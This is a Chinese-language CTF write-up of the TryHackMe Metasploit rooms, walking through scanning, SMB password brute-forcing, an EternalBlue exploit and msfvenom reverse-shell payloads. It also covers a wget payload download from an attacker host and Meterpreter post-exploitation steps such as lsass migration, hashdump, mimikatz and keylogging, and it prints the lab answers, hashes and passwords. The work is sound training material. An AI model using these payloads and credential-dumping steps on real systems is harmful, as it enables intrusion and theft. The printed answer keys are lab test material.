THM-Metasploit

kelec0ka發表於2024-10-17

Metasploit

Metasploit: Introduction

msfconsole
#主命令列介面
history
#檢視之前輸入的命令
RHOSTS
#目標靶機地址
use
#命令後跟編號來選擇要使用的模組
show options
#檢視
back
#離開
setg/unsetg
#全域性變數

Metasploit: Exploitation

Port Scanning

使用以下命令可以檢視許多關於掃描目標系統和網路上的開放埠的模板

search portscan
msf6 > search portscan

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/wordpress_pingback_access                   normal  No     Wordpress Pingback Locator
   1  auxiliary/scanner/natpmp/natpmp_portscan                           normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner
   3  auxiliary/scanner/portscan/ftpbounce                               normal  No     FTP Bounce Port Scanner
   4  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner
   5  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner
   6  auxiliary/scanner/portscan/xmas                                    normal  No     TCP "XMas" Port Scanner
   7  auxiliary/scanner/sap/sap_router_portscanner                       normal  No     SAPRouter Port Scanner


Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner

1.How many ports are open on the target system?

我們使用nmap進行SYN掃描

nmap -sS --min-rate 10000 -Pn 10.10.217.98 

Screenshot 2024-10-15 233053.png

ANSWER:5

2.Using the relevant scanner, what NetBIOS name can you see?

我們使用一下命令來查詢有關NetBIOS相關的模組

search NetBIOS

Screenshot 2024-10-15 233357.png

我們使用第二個

use 2

設定目標靶機

set RHOSTS 10.10.217.98

執行模組

run

image-20241015234405538

ANSWER: ACME IT SUPPORT

3.What is running on port 8000?

我們之前掃描到8000埠是一個http服務,我們使用這個模組進行掃描,同時設定靶機ip和埠

image-20241015235203673

ANSWER:webfs/1.21

What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task

檢視密碼我們使用smb_login這個模組進行操作,然後show options檢視我們需要設定的內容

image-20241016001109041

image-20241016001218542

image-20241016001254418

ANSWER: leo1234

The Metasploit Database

Metasploit具有資料庫功能,我們首先需要啟動PostgreSQL,使用以下命令

systemctl start postgresql

然後我們使用以下命令來初始化Metasploit 資料庫

msfdb init

就可以檢視資料庫狀態了

db_status

使用以下指令可以建立新的工作區

workspace -a name

Vulnerability Scanning

1.Who wrote the module that allows us to check SMTP servers for open relay?

首先我們search SMTP,查詢到有效負載scanner/smtp/smtp_relay

使用info檢視具體資訊

image-20241016175756536

ANSWER: Campbell Murray

Exploitation

可以使用search命令搜尋漏洞利用程式,使用info命令獲取有關漏洞利用程式的更多資訊,並使用exploit 啟動exploit利用。

大多數漏洞利用都會有預設的預設負載,但是可以使用show payloads命令列出可用於該特定漏洞的其他命令。

一旦決定了有效負載,就可以使用set payload命令來做出選擇。

1.What is the content of the flag.txt file?

上文給出exploit為windows/smb/ms17_010_eternalblue和payload為generic/shell_reverse_tcp

我們search eternalblue,然後set payload

show options 一步一步設定走

image-20241016183320304

最後執行exploit

image-20241016183604789

成功進入

然後我們使用CTRL+Z將其置於後臺,使用 sessions -u [session ID] 升級會話

image-20241016195441342

進入session2search -f flag.txt就可以看到檔案處於哪個目錄了

image-20241016195711711

ANSWER: THM-5455554845

2.What is the NTLM hash of the password of the user "pirate"?

我們先將此會話置於後臺,search hashdump

image-20241016201541794

ANSWER: 8ce9a3ebd1647fcc5e04025019f4b875

Msfvenom

Msfvenom 取代了 Msfpayload 和 Msfencode,允許我們生成有效負載

可以生成獨立的有效負載(例如Meterpreter的 Windows 可執行檔案)或獲取可用的原始格式(例如 python)。 msfvenom --list formats命令可用於列出支援的輸出格式

與某些觀點相反,編碼器的目的並不是繞過目標系統上安裝的防病毒軟體。顧名思義,它們對有效負載進行編碼。雖然它可以有效對抗某些防病毒軟體,但使用現代混淆技術或學習方法注入 shellcode 是解決該問題的更好方法。下面的例子展示了編碼的用法(帶有-e引數。PHP 版本的Meterpreter是採用Base64編碼的,輸出格式為raw

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64

image-20241016203021205

我們將利用 DVWA中存在的檔案上傳漏洞,漏洞利用步驟是:

1.使用 MSFvenom 生成PHP shell

2.啟動Metasploit處理程式

3.執行PHP shell

我們首先生成檔案

msfvenom -p php/reverse_php LHOST=10.21.66.31 LPORT=7777 -f raw > reverse_shell.php

image-20241016203355315

再稍作修改,將php頭和尾修改好

我們將使用 Multi Handler 來接收傳入的連線。該模組可與 use exploit/multi/handler 命令。

image-20241016203838987

一旦一旦一切設定完畢,我們將run處理程式並等待傳入連線。

反彈shell後,連線將被multi/handler接收併為我們提供一個shell

Other Payloads

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python:

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

1.啟動附加到此任務的虛擬機器。使用者名稱是 murphy,密碼是 1q2w3e4r。您可以透過 SSH 連線或在瀏覽器中啟動這臺機器。進入終端後,輸入“sudo su”以獲取 root shell,這將使事情變得更容易。

2.建立 .elf 格式的 meterpreter 有效負載

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.21.66.31 LPORT=7777 -f elf > rev_shell.elf

3.將其傳輸到目標機器(您可以使用 python3 -m http.server 9000 命令在攻擊機器上啟動 Python Web 伺服器,並使用 wget http://ATTACKING_MACHINE_IP:9000/shell.elf 將其下載到目標機器) 。

image-20241016210336843

image-20241016210348341

4.在目標機器上獲取 meterpreter 會話。

先賦權

image-20241016210535359

先在攻擊機上設定一番

image-20241016210938091

然後,在目標機器上,執行rev_shell.elf檔案

image-20241016210944173

然後就有回顯了

image-20241016211027309

5.使用後利用模組轉儲系統上其他使用者的雜湊值。

6.其他使用者的密碼雜湊是什麼?

首先search hashdump,選擇post/linux/gather/hashdump

image-20241016211537336

ANSWER: $6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

Metasploit: Meterpreter

Introduction to Meterpreter

Meterpreter 是一個 Metasploit 有效負載,透過許多有價值的元件支援滲透測試過程。 Meterpreter 將在目標系統上執行,並充當命令和控制架構中的代理。我們將與目標作業系統和檔案進行互動,並使用 Meterpreter 的專用命令。

Meterpreter主要是防IPS和IDS檢測,但防病毒不太行

在pid中和dll檢測中較為隱蔽

meterpreter > getpid 
Current pid: 1304
meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]                                                   
 4     0     System                x64   0                                      
 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe
 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           
 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  
 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe  1276  1304  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe
 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    
 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe

可以發現並不是meterpreter

C:\Windows\system32>tasklist /m /fi "pid eq 1304"
tasklist /m /fi "pid eq 1304"

Image Name                     PID Modules                                     
========================= ======== ============================================
spoolsv.exe                   1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,    
                                   msvcrt.dll, sechost.dll, RPCRT4.dll,        
                                   USER32.dll, GDI32.dll, LPK.dll, USP10.dll,  
                                   POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,   
                                   ADVAPI32.dll, OLEAUT32.dll, ole32.dll,      
                                   DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,         
                                   NSI.dll, IMM32.DLL, MSCTF.dll,              
                                   CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,    
                                   secur32.dll, SSPICLI.DLL, credssp.dll,      
                                   IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,      
                                   wshtcpip.dll, wship6.dll, rasadhlp.dll,     
                                   fwpuclnt.dll, CLBCatQ.DLL, umb.dll,         
                                   ATL.DLL, WINTRUST.dll, CRYPT32.dll,         
                                   MSASN1.dll, localspl.dll, SPOOLSS.DLL,      
                                   srvcli.dll, winspool.drv,                   
                                   PrintIsolationProxy.dll, FXSMON.DLL,        
                                   tcpmon.dll, snmpapi.dll, wsnmp32.dll,       
                                   msxml6.dll, SHLWAPI.dll, usbmon.dll,        
                                   wls0wndh.dll, WSDMon.dll, wsdapi.dll,       
                                   webservices.dll, FirewallAPI.dll,           
                                   VERSION.dll, FunDisc.dll, fdPnp.dll,        
                                   winprint.dll, USERENV.dll, profapi.dll,     
                                   GPAPI.dll, dsrole.dll, win32spl.dll,        
                                   inetpp.dll, DEVRTL.dll, SPINF.dll,          
                                   CRYPTSP.dll, rsaenh.dll, WINSTA.dll,        
                                   cscapi.dll, netutils.dll, WININET.dll,      
                                   urlmon.dll, iertutil.dll, WINHTTP.dll,      
                                   webio.dll, SHELL32.dll, MPR.dll,            
                                   NETAPI32.dll, wkscli.dll, PSAPI.DLL,        
                                   WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,     
                                   apphelp.dll, NLAapi.dll, napinsp.dll,       
                                   pnrpnsp.dll, winrnr.dll                     

可以發現並沒有meterpreter

還值得注意的是,Meterpreter 會與攻擊者的系統建立加密(TLS)通訊通道。

Meterpreter Flavors

瞭解可用Meterpreter版本的最簡單方法是使用 msfvenom 列出它們。

我們使用了msfvenom --list payloads命令並 grep“meterpreter”有效負載(將| grep meterpreter新增到命令列),因此輸出僅顯示這些。

msfvenom --list payloads | grep meterpreter

決定使用哪個版本的Meterpreter主要基於三個因素:

1.目標作業系統

2.目標系統上可用的元件

3.您可以與目標系統建立的網路連線型別

Meterpreter Commands

help檢視

Post-Exploitation with Meterpreter

getuid命令將顯示當前執行Meterpreter的使用者。這將使我們瞭解目標系統上可能的許可權級別(例如,您是像 NT AUTHORITY\SYSTEM 這樣的管理員級別使用者還是普通使用者?)

ps命令將列出正在執行的程序。 PID列還將為我們提供將Meterpreter遷移到另一個程序所需的PID資訊。

遷移到另一個程序將有助於Meterpreter與其互動。例如,如果我們看到目標上執行著一個文書處理器(例如 word.exe、notepad.exe 等),可以遷移到它並開始捕獲使用者傳送到此程序的擊鍵。某些Meterpreter版本將提供keyscan_startkeyscan_stopkeyscan_dump命令選項,使Meterpreter充當鍵盤記錄器。遷移到另一個程序也可以幫助您獲得更穩定的Meterpreter會話。

要遷移到任何程序,需要鍵入 migrate 命令,後跟所需目標程序的PID 。

meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.

hashdump命令將列出 SAM 資料庫的內容。 SAM(安全帳戶管理器)資料庫儲存 Windows 系統上的使用者密碼。這些密碼以 NTLM(新技術 LAN 管理器)格式儲存。

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

search命令對於查詢包含潛在重要資訊的檔案非常有用。在 CTF 上下文中,這可用於快速查詢標誌或證明檔案,而在實際的滲透測試活動中,您可能需要搜尋使用者生成的檔案或可能包含密碼或帳戶資訊的配置檔案。

meterpreter > search -f flag2.txt
Found 1 result...
    c:\Windows\System32\config\flag2.txt (34 bytes)

shell 命令將在目標系統上啟動常規命令列 shell。按 CTRL+Z 將返回到Meterpreter shell。

meterpreter > shell
Process 2124 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

Post-Exploitation Challenge

Meterpreter提供了幾個重要的後利用工具。

前面提到的命令,例如getsystemhashdump將為許可權升級和橫向移動提供重要的槓桿和資訊。還可以使用 load 命令來利用其他工具,例如 Kiwi 甚至整個 Python 語言。

使用load命令載入任何其他工具後,我們將在help選單上看到新選項。下面的示例顯示了為 Kiwi 模組新增的命令(使用load kiwi命令)。

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.

您可以使用下面的憑據來模擬對SMB (伺服器訊息塊)的初始攻擊(使用exploit/windows/smb/psexec)

1.計算機名稱是什麼?

先做埠掃描

nmap -sS -vv -Pn -p- --min-rate 10000 10.10.197.10

image-20241017163740740

發現他並沒有開啟22(ssh)服務埠

根據題目提示使用SMB (伺服器訊息塊)的初始攻擊(使用exploit/windows/smb/psexec)

show options檢視需要設定的內容

image-20241017164558149

image-20241017165253821

進入meterpreter後,使用sysinfo檢視詳細資訊

image-20241017172916636

ANSWER: ACME-TEST

2.What is the target domain?目標域是什麼?

根據提示,我們需要使用post/windows/gather/enum_domain模組來獲取target domain

首先將meterpreter置於後臺,use post/windows/gather/enum_domain

設定會話id,set session 1,然後run

image-20241017174056687

ANSWER: FLASH

3.What is the name of the share likely created by the user?

使用者可能建立的共享的名稱是什麼?

使用post/windows/gather/enum_shares模組來檢視

image-20241017174509697

ANSWER: speedster

4.What is the NTLM hash of the jchambers user?

jchambers 使用者的 NTLM 雜湊值是什麼?

根據提示,我們需要將會話遷移到lsass.exe程序

首先在meterpreter會話中使用ps列出正在執行的程序

image-20241017174850934

使用migrate遷移程序

migrate 760

然後執行hashdump

image-20241017175035052

ANSWER: 69596c7aa1e8daee17f8e78870e25a5c

5.What is the cleartext password of the jchambers user?

jchambers 使用者的明文密碼是什麼?

image-20241017175204970

ANSWER: Trustno1

6.Where is the "secrets.txt" file located? (Full path of the file)

“secrets.txt”檔案位於哪裡? (檔案的完整路徑)

在meterpreter會話下使用以下命令查詢

search -f secrets.txt

image-20241017175401763

ANSWER: c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt

7.What is the Twitter password revealed in the "secrets.txt" file?

“secrets.txt”檔案中透露的 Twitter 密碼是什麼?

直接cat就好了

image-20241017175710654

ANSWER: KDSvbsw3849

8.Where is the "realsecret.txt" file located? (Full path of the file)

“realsecret.txt”檔案位於哪裡? (檔案的完整路徑)

還是一樣的套路

image-20241017190722273

ANSWER: c:\inetpub\wwwroot\realsecret.txt

9.What is the real secret?

真正的秘密是什麼?

一樣的套路

image-20241017190930151

ANSWER: The Flash is the fastest man alive